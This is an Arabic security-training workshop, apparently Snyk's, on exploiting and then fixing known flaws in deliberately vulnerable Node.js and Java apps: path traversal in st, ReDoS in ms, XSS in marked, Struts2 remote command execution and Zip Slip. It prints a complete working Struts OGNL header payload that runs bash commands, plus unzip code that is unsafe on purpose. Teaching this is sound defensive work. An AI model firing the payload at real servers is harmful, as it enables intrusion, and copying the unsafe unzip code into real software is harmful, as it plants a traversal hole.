
ورشة عمل خطوة بخطوة لاستغلال نقاط الضعف المختلفة في تطبيقات Node.js و Java
في ورشة العمل هذه خطوة بخطوة، ستتعلم كيفية استغلال العديد من الثغرات الواقعية الموجودة في إصدارات ضعيفة من الحزم في تطبيق Node.js و Java.
يمكنك إجراء ورشة العمل هذه بطريقتين مختلفتين
أو
ستأخذك ورشة العمل هذه من خلال تثبيت واستغلال عدد من التطبيقات المعرضة للخطر عمدًا. ستستخدم التطبيقات حزمًا حقيقية ذات ثغرات معروفة، بما في ذلك:
توجد هذه الاستغلالات في عدد من التطبيقات، ومعظمها ستحتاج إلى تثبيته محليًا أو على مثيل سحابي. سترشدك التعليمات أدناه من خلال التثبيت المحلي، ولكن يمكنك أيضًا تجربتها على مثيلات سحابية عن بُعد.
لكل قسم ثغرة في ورشة العمل هذه، ستتلقى معلومات حول الثغرة بالإضافة إلى الحزمة التي توجد بها. نشجعك على محاولة اختراق التطبيق عن طريق التجربة والخطأ دون قراءة أي تلميحات في البداية. حاول التفكير في كيفية خداع تنقية التطبيق والدخول إلى عقل المخترق. التلميحات موجودة عندما تتعثر، لذا اقرأها بالترتيب عند الحاجة إلى المساعدة. إذا تمكنت من إكمال الاختراق دون تلميحات، فهذا رائع! ومع ذلك، قد يكون من الجيد قراءة التلميحات بعد ذلك للتأكد من أنك اخترقت بنفس الطريقة التي فعلناها! بالإضافة إلى ذلك، قد تكون هناك نصائح صغيرة للتعلم منها أيضًا.
بناءً على اختيارك، اختر دليل التثبيت المناسب
من متصفحك المفضل، انتقل إلى http://localhost:3001 ويجب أن ترى الصفحة التالية.

اقضِ بضع دقائق في تصفح الموقع، وعلى وجه الخصوص، أنشئ بعض عناصر المهام باستخدام نص عادي "Buy Milk" بالإضافة إلى استخدام ماركداون "Buy **lots** of milk". أيضًا، انتقل إلى صفحة "حول" المتواضعة المرتبطة من أسفل الصفحة الرئيسية. استمتع بـ CSS-foo المستخدمة لإنشاء صفحة "حول" هذه. ملاحظة: لن يتم دمج طلبات السحب التي تجعل هذه الصفحة تبدو أجمل ;o)

أولاً، دعنا ننظر إليه من الجانب الأزرق (الدفاعي). قم بعمل Fork لتطبيق Goof إلى حساب GitHub الخاص بك. يمكن العثور على التطبيق على GitHub هنا: https://github.com/snyk/goof. نحتاج إلى فحص تطبيقنا لفهم التبعيات المباشرة وغير المباشرة الموجودة في التطبيق، بالإضافة إلى الثغرات في كل مكتبة. للقيام بذلك، انتقل إلى https://snyk.io وانقر على "Sign up" أو "Log in" (إذا كنت مستخدمًا بالفعل)، في أعلى يمين الموقع:

انقر على زر "Log in with your GitHub":

بعد ذلك، قم باستيراد مشروع Goof الذي قمت باستنساخه سابقًا. حدد goof من قائمة مستودعات GitHub الخاصة بك وانقر على زر "Import Projects" في أعلى يمين النافذة.

عندما يتم فحص المشروع، ستراه في لوحة التحكم الخاصة بك:

انقر على رابط package.json لرؤية صفحة المشروع، والتي تتضمن القائمة الكاملة لثغرات الأمان:

يمكنك النقر على علامات التبويب "issues" و "dependencies" لرؤية المزيد من المعلومات حول الثغرات وعلاجها بالإضافة إلى مكان تقديمها بواسطة تطبيقك. ستلاحظ في أسفل قائمة الثغرات وجود ثغرة اجتياز الدليل في حزمة st. دعنا ننظر إلى هذا بمزيد من التفصيل.

يهدف هجوم اجتياز الدليل (المعروف أيضًا باسم path traversal) إلى الوصول إلى الملفات والدلائل المخزنة خارج المجلد المقصود. من خلال معالجة الملفات بتسلسلات "dot-dot-slash" (../) واختلافاتها، أو باستخدام مسارات الملفات المطلقة، قد يكون من الممكن الوصول إلى أي ملفات ودلائل مخزنة على نظام الملفات، بما في ذلك كود مصدر التطبيق، والتكوين، وملفات النظام الهامة الأخرى.
يمكن تقسيم ثغرات اجتياز الدليل عمومًا إلى نوعين:
الحزمة في تطبيق Goof التي تحتوي على ثغرة اجتياز الدليل التي سنستغلها هي حزمة st. ألقِ نظرة على وثائق st وتعرف على المكتبة.
يجب الآن أن تكون على دراية بما هو اجتياز الدليل، وما تفعله حزمة st، ويمكنك المضي قدمًا واختراق التطبيق -- لقد عدت إلى الفريق الأحمر الآن! ابحث في التطبيق عن مكان استخدام حزمة st وحاول الانتقال إلى دليل لا يُسمح لك بالوصول إليه.
فيما يلي بعض التلميحات لإعطائك أدلة إذا علقت - حاول قدر الإمكان النظر إليها فقط بعد أن تجرب بنفسك وتحتاج إلى المساعدة.
انقر لرؤية التلميح 1.
انقر لرؤية التلميح 2.
انقر لرؤية التلميح 3.
انقر لرؤية التلميح 4.
انقر لرؤية التلميح 5.
انقر لرؤية التلميح 6.
انقر لرؤية التلميح 7.
انقر لرؤية التلميح 8.
انقر لرؤية التلميح 9.
تصفح نظام الملفات الخاص بك كما لو كنت مهاجمًا للعثور على 3 قطع من المعلومات الحساسة على جهازك والتي ربما لا تريد أن يراها المهاجم.
انقر لرؤية التلميح 10.
ألقِ نظرة على وصف الثغرة، بما في ذلك درجة CVSS: https://snyk.io/vuln/npm:st:20140206. لماذا تعتقد أن الثغرة متوسطة الخطورة بدلاً من عالية؟
مرة أخرى في صفحة مشروع Snyk، ابحث عن ثغرة اجتياز الدليل في حزمة st وانظر إلى نصائح العلاج. سترى أن هناك مسارًا واحدًا فقط لهذه الثغرة في التطبيق، وأن حزمة st هي تبعية مباشرة، لذا لا ينبغي أن يكون العلاج صعبًا للغاية. يمكننا أن نرى أننا بحاجة إلى تحديث إصدار حزمة st إلى 0.2.5. يمكننا القيام بذلك تلقائيًا، عن طريق النقر على زر "Fix this vulnerability".

سترى قائمة بالثغرات الخاصة بك، ويجب تحديد ثغرة st فقط. قم بالتمرير إلى أسفل الصفحة وانقر على "Open a fix PR":

ألقِ نظرة على تغييرات الكود في طلب السحب تحت علامة التبويب "Files Changed":

تأكد من أن اختبارات طلب السحب الجديدة لا تقدم أي مشكلة أمان أو ترخيص جديدة وقد اجتازت. يمكن العثور عليها في علامة التبويب "Conversation" في طلب السحب:

عندما تكون راضيًا عن طلب السحب، قم بدمج التغييرات.
إذا كنت تشغل التطبيق محليًا، أوقفه بالضغط على Ctrl+C في النافذة التي قمت فيها بتشغيل npm start. احصل على أحدث كود من GitHub عن طريق تشغيل git fetch. قم بتنزيل الإصدار الجديد من st عن طريق تشغيل npm install ثم ابدأ تطبيقك مرة أخرى باستخدام npm start.
حاول اختراقاتك مرة أخرى. تهانينا! لقد عالجت الثغرة ويجب الآن إعادة توجيهك إلى الصفحة الرئيسية في كل مرة تحاول فيها الهروب من المجلد العام.
ألقِ نظرة على وصف ثغرة ReDoS في فحص Snyk الخاص بك:

هذه الثغرة في حزمة ms هي التي سنقوم بكسرها في تطبيق Goof. استخدم الأمر التالي لإضافة عنصر مهمة يحتوي على تمثيل نصي للوقت:``` $ echo 'content=Call mom in 20 minutes' | http --form http://localhost:3001/create -v
استطاعت مكتبة `ms` مطابقة نمط زمني في سلسلة الإدخال الخاصة بك. يتم تمثيل هذا بشكل مختلف قليلاً في صفحة `goof`.

باستخدام معرفتك بكيفية عمل ReDoS، حاول تمرير سلسلة محتوى تسبب تأخيرًا ملحوظًا، أو حرمانًا من الخدمة للمستخدمين الآخرين. لاحظ أنه أثناء معالجة الطلب، ستقوم صفحة الويب بتخزين أي من طلباتك اللاحقة مؤقتًا حتى تتم معالجة طلبك الأول.
انقر لرؤية [تلميح 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint1.md).
انقر لرؤية [تلميح 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint2.md).
انقر لرؤية [تلميح 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint3.md).
انقر لرؤية [تلميح 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint4.md).
انقر لرؤية [تلميح 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint5.md).
فكر في كيف يمكنك تجنب هذا الهجوم برمجيًا في كود تطبيقك؟
### إصلاح الثغرة الأمنية
بالعودة إلى صفحة مشروع snyk، ابحث عن ثغرة هجوم الحرمان من الخدمة عبر التعبيرات النمطية في حزمة `ms` وانظر إلى نصيحة الإصلاح. سترى أن هناك مسارًا واحدًا فقط لهذه الثغرة في التطبيق، وأن حزمة `ms` هي تبعية غير مباشرة، يتم جلبها بواسطة حزمة `humanize-ms`. يمكننا أن نرى أننا بحاجة إلى تحديث إصدار `humanize-ms` إلى `1.0.2`. سيؤدي هذا إلى جلب حزمة `ms` بإصدار مُصلَح. انقر على "إصلاح هذه الثغرة" مرة أخرى وأنشئ طلب سحب (PR).

بعد تحديث تطبيقك، حاول اختراقاتك مرة أخرى. *تهانينا!* لقد قمت بإصلاح الثغرة الأمنية!
## البرمجة النصية عبر المواقع (XSS)
تحدث هجمات XSS عندما يخدع المهاجم متصفح المستخدم لتنفيذ كود JavaScript ضار في سياق نطاق الضحية. يمكن لهذه البرامج النصية سرقة ملفات تعريف الارتباط الخاصة بالجلسة للنطاق، أو استخراج محتواه أو تعديله، وتنفيذ أو تعديل الإجراءات نيابة عن المستخدم، وهي إجراءات تمنعها عادةً سياسة نفس الأصل للمتصفح.
تكون هذه الهجمات ممكنة عن طريق الهروب من سياق تطبيق الويب وحقن نصوص ضارة في موقع موثوق به بطريقة أخرى. يمكن لهذه النصوص إضافة سمات إضافية (على سبيل المثال، خيار "جديد" في قائمة منسدلة أو رابط جديد لموقع ضار) ويمكنها تنفيذ كود على جانب العميل، دون علم الضحية. يحدث هذا عندما لا يتم ترميز الأحرف مثل `< > " '` بشكل صحيح.
هناك عدة أنواع من XSS:
* *XSS مستمر* هو هجوم يستمر فيه الكود الضار في قاعدة بيانات تطبيق الويب.
* *XSS منعكس* هو هجوم يعيد فيه الموقع جزءًا من الطلب. يحتاج المهاجم إلى خداع المستخدم للنقر على رابط ضار (على سبيل المثال عبر بريد إلكتروني تصيدي أو JS ضار على صفحة أخرى)، مما يؤدي إلى تشغيل هجوم XSS.
* *XSS قائم على DOM* هو هجوم يحدث فقط في المتصفح عندما يقوم JavaScript من جانب العميل بإعادة جزء من عنوان URL إلى الصفحة. من المعروف أن XSS القائم على DOM يصعب اكتشافه، لأن الخادم لا تتاح له فرصة رؤية الهجوم.
الثغرة موجودة في مكتبة `marked`. تسمح لنا هذه المكتبة بإدخال نص ماركداون في مربع إدخال المهام وعرض النص الناتج بخط عريض، أو أيًا ما تريد. الآن بعد أن أصبحت على دراية كاملة بهذا التطبيق المعقد متعدد الصفحات، ضع في اعتبارك الحزمة المعرضة للخطر.
للبدء، دعنا نحاول عرض التنبيه '1'. مبتذل جدًا، أليس كذلك؟
انقر لرؤية [تلميح 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint1.md).
انقر لرؤية [تلميح 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint2.md).
انقر لرؤية [تلميح 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint3.md).
انقر لرؤية [تلميح 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint4.md).
انقر لرؤية [تلميح 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint5.md).
انقر لرؤية [تلميح 6](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint6.md).
انقر لرؤية [تلميح 7](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint7.md).
انقر لرؤية [تلميح 8](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint8.md).
بمجرد أن تتمكن من تنفيذ بعض JavaScript التي تنشئ تنبيهًا، كما هو موضح أدناه. يمكنك تجربة شيء أكثر صعوبة ربما للحصول على بعض المعلومات الحساسة!

### إصلاح الثغرة الأمنية
بالعودة إلى صفحة مشروع snyk، ابحث عن ثغرة XSS في حزمة `marked` وانظر إلى نصيحة الإصلاح. سترى أن هناك مسارًا واحدًا فقط لهذه الثغرة في التطبيق، وأن حزمة `marked` هي تبعية مباشرة. يمكننا أن نرى أننا بحاجة إلى تحديث `marked` إلى الإصدار `0.3.9`. انقر على "إصلاح هذه الثغرة" مرة أخرى وأنشئ طلب سحب (PR).

بعد تحديث تطبيقك، حاول اختراقاتك مرة أخرى. تهانينا، لقد قمت بإصلاح ثغرة XSS ويجب ألا تتمكن من تضمين JavaScript في صفحة الويب بعد الآن.
# تثبيت Java Goof
اعتمادًا على اختيارك السابق، اختر دليل التثبيت المناسب
* باستخدام [صور Docker](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_docker.md)
* التثبيت على [الجهاز المحلي](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_local.md)
من متصفح، انتقل إلى عنوان URL التالي: [http://localhost:8080/](http://localhost:8080/)
سترى هذا التطبيق. يبدو أفضل من تطبيق Node. لأن Java أفضل من Node. حقيقة.

انقر على "تسجيل الدخول" واستخدم بيانات الاعتماد التالية:```
Username: [email protected]
Password: foobar
عند تسجيل الدخول، سترى عددًا من إدخالات المهام. إذا نقرت على "حول" في أعلى الشاشة، سترى أن التطبيق يستخدم Spring وHibernate وApache Struts. هذا لطف كبير من التطبيق أن يزودنا بهذه البيانات! المواقع الإلكترونية ليست عادةً بهذا اللطف :)
عدنا الآن إلى الفريق الأزرق (الدفاعي). نحتاج إلى مسح تطبيقنا لفهم التبعيات المباشرة وغير المباشرة الموجودة في التطبيق، بالإضافة إلى الثغرات الأمنية في كل مكتبة. قم بعمل Fork لمستودع Java Goof إلى حسابك على GitHub. يمكن العثور على التطبيق على GitHub هنا: https://github.com/snyk/java-goof
إذا كان لديك بالفعل حساب Snyk من الجزء السابق من الورشة، فكل ما عليك فعله هو إضافة مستودع Java Goof إلى لوحة تحكم Snyk. إذا لم تكن قد فعلت ذلك، فأنشئ حسابك على النحو التالي:
انتقل إلى https://snyk.io إذا لم تكن قد فعلت ذلك بالفعل، وانقر على "تسجيل الدخول" أو "الاشتراك" في أعلى يمين الموقع.

انقر على زر "تسجيل الدخول باستخدام GitHub":

قم باستيراد مشروع goof الذي قمت بنسخه مسبقًا. انقر على رابط التكاملات (Integrations) الموضح أدناه:

من هنا، حدد تكامل GitHub واختر java-goof من قائمة مستودعات GitHub لديك، ثم انقر على زر "إضافة المستودعات المحددة" في أعلى يمين النافذة.

عند اكتمال فحص المشروع، ستراه في لوحة التحكم الخاصة بك:

انقر على رابط todolist-web-struts/pom.xml لرؤية القائمة الكاملة للثغرات الأمنية لهذا الجزء من المشروع:

توجد الثغرة في حزمة org.apache.struts:struts2-core.
الإصدارات المتأثرة من الحزمة معرضة لتنفيذ أوامر عشوائية أثناء رفع الملفات باستخدام محلل Jakarta Multipart. يمكن للمهاجم استغلال هذه الثغرة المعينة عن طريق إرسال طلب معد لرفع ملف إلى الخادم الضعيف الذي يستخدم إضافة قائمة على Jakarta لمعالجة طلب الرفع.
يمكن للمهاجم بعد ذلك إرسال تعليمات برمجية ضارة في رؤوس HTTP Content-Type أو Content-Disposition أو Content-Length، والتي سيتم تنفيذها بعد ذلك بواسطة الخادم الضعيف. يتوفر دليل إثبات يوضح سيناريو الهجوم بشكل عام ويتم استغلال الثغرة بنشاط في البرية.
على الرغم من أن القائمين على صيانة المشروع مفتوح المصدر قاموا على الفور بتصحيح الثغرة، إلا أن خوادم Struts التي لم تقم بتثبيت التحديث لا تزال تتعرض للهجوم من قبل المخترقين الذين يستغلونها لحقن الأوامر التي يختارونها.
يمكن تنفيذ هذا الهجوم دون مصادقة. والأسوأ من ذلك، أن تطبيقات الويب لا تحتاج بالضرورة إلى رفع ملف ضار بنجاح لاستغلال هذه الثغرة، فمجرد وجود مكتبة Struts الضعيفة داخل التطبيق يكفي لاستغلال الثغرة.
فيما يلي مثال على رأس يمكنه استغلال الثغرة. لاحظ أن نوع المحتوى يبدأ بـ %{.```
"Content-type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='COMMAND').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
ستلاحظ إنشاء ```ProcessBuilder``` وتنفيذ أمر bash كنتيجة لذلك.
اخترق التطبيق عن طريق إجراء طلب HTTP GET إلى التطبيق، مع إرسال هذا الرأس في الطلب.
انقر لرؤية [التلميح 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint1.md).
انقر لرؤية [التلميح 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint2.md).
يجب أن تكون الآن قد نفذت أمرًا عن بُعد، مثل أمر env هذا لاسترداد متغيرات البيئة لجهازك:

في هذه المرحلة، أصبح لديك صلاحيات تنفيذ على الجهاز عن طريق استخدام curl لاستدعاء عنوان URL. استمر في تشغيل أوامر أخرى لترى ما يمكنك تعلمه عن الجهاز وكذلك تشغيلها على الجهاز.
# Zip Slip
أنشئ مشروع Maven جديدًا في بيئة التطوير المتكاملة (IDE) التي تختارها. لن أحكم عليك. أضف تبعية جديدة في ملف ```pom.xml``` الخاص بك.```xml
<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.12</version>
<type>jar</type>
</dependency>
في هذا المستودع، ستجد أرشيف zip-slip.zip. قم بتنزيله وتشغيل الأمر التالي على الأرشيف لرؤية المخرجات. أتوقع أنك ستعرف كيف يعمل هذا الاختراق بمجرد رؤية المخرجات.``` $ jar -tvf zip-slip.zip
## ثغرة Zip Slip
Zip Slip هو شكل من أشكال اجتياز الدليل (directory traversal) يمكن استغلاله عن طريق استخراج الملفات من أرشيف. فرضية ثغرة اجتياز الدليل هي أن المهاجم يمكنه الوصول إلى أجزاء من نظام الملفات خارج المجلد الهدف الذي يجب أن توجد فيه. يمكن للمهاجم بعد ذلك استبدال الملفات القابلة للتنفيذ وإما استدعائها عن بُعد أو انتظار النظام أو المستخدم لاستدعائها، وبالتالي تحقيق تنفيذ الأوامر عن بُعد على جهاز الضحية. يمكن للثغرة أيضًا أن تسبب ضررًا عن طريق استبدال ملفات التكوين أو الموارد الحساسة الأخرى، ويمكن استغلالها على كل من أجهزة العميل (المستخدم) والخوادم.
الجزءان المطلوبان لاستغلال هذه الثغرة هما أرشيف خبيث ورمز استخراج لا يقوم بإجراء التحقق من الصلاحية. دعنا ننظر في كل منهما بدوره. أولاً، يجب أن تحتوي محتويات الملف المضغوط على ملف واحد أو أكثر يخرج من المجلد الهدف عند استخراجه. في المثال ```zip-slip.zip```، نرى ملفين، ملف good.txt الذي سيتم استخراجه في المجلد الهدف، وملف evil.txt الذي يحاول الصعود في شجرة الدليل إلى مجلد tmp. ستلاحظ وجود مستويات عديدة من ```../``` بحيث يكون للملف فرصة أفضل للوصول إلى الدليل الجذر، قبل محاولة الانتقال إلى الدليل ```/tmp``` من الدليل الجذر.
استخدم أداة فك الضغط ```zt-zip``` الموجودة في ```ZipUtil``` لاستخراج الملف ولاحظ مكان ظهور ```good.txt``` و ```evil.txt``` على نظام الملفات الخاص بك.
انقر لرؤية [تلميح 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint1.md).
انقر لرؤية [تلميح 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint2.md).
بمجرد فك ضغط ملف evil.txt في دليل tmp الخاص بك، ألق نظرة على معلومات الثغرة ([https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681](https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681)).
### إصلاح الثغرة!
انقر لرؤية [تلميح 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint3.md).
انقر لرؤية [تلميح 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint4.md).
الآن بعد أن قمت بإصلاح الثغرة في تبعية ```zt-zip``` الخاصة بك، دعنا نلقي نظرة على الكود الذي يمكن استخدامه للقيام بذلك في Java. لاحظ أننا استخدمنا مكتبة Apache Commons IO في هذا المثال لتنفيذ نسخ الملف في السطر 8.```java
1. final String destinationDir = /* <your destination dir> */;
2. ZipFile zip = new ZipFile(/* <your zip file> */);
3. Enumeration<ZipEntry> entries = (Enumeration<ZipEntry>) zip.entries();
4. while (entries.hasMoreElements()) {
5. ZipEntry e = entries.nextElement();
6. File f = new File(destinationDir, e.getName());
7. InputStream input = zip.getInputStream(e);
8. FileUtils.copyToFile(input, f);
9. }
دعنا نستبدل استدعاء ZipUtil.unpack السابق بهذا الكود. احذف ملفي good.txt وevil.txt من نظام الملفات لديك وقم بتشغيل التطبيق مرة أخرى. ستلاحظ أن ملف evil.txt يصل مرة أخرى إلى دليل /tmp.
حدد أي سطور من الكود أعلاه هي المسببة للمشكلة وقم بإصلاحها!
انقر لرؤية تلميح 5.
انقر لرؤية تلميح 6.
انقر لرؤية تلميح 7.
انقر لرؤية تلميح 8.
انقر لرؤية تلميح 9.
بمجرد أن تقوم بتشفير الحل الخاص بك بشكل دفاعي، تحقق من نموذج الكود النهائي في تلميح 9 لترى كيف يقارن بإصدارك. هل قمت بتضمين فاصل الملفات في نهاية السطر 9؟ هذا يضمن أن الدليل لا يبدأ فقط باسم الدليل الذي اخترناه، بل هو الدليل الذي اخترناه لاستخراج الملفات إليه.
شكرًا لك على حضور هذه الورشة. إذا رأيت أي أخطاء إملائية أو اقترحت تلميحات إضافية، فيرجى إرسال طلب سحب لنا (PR)!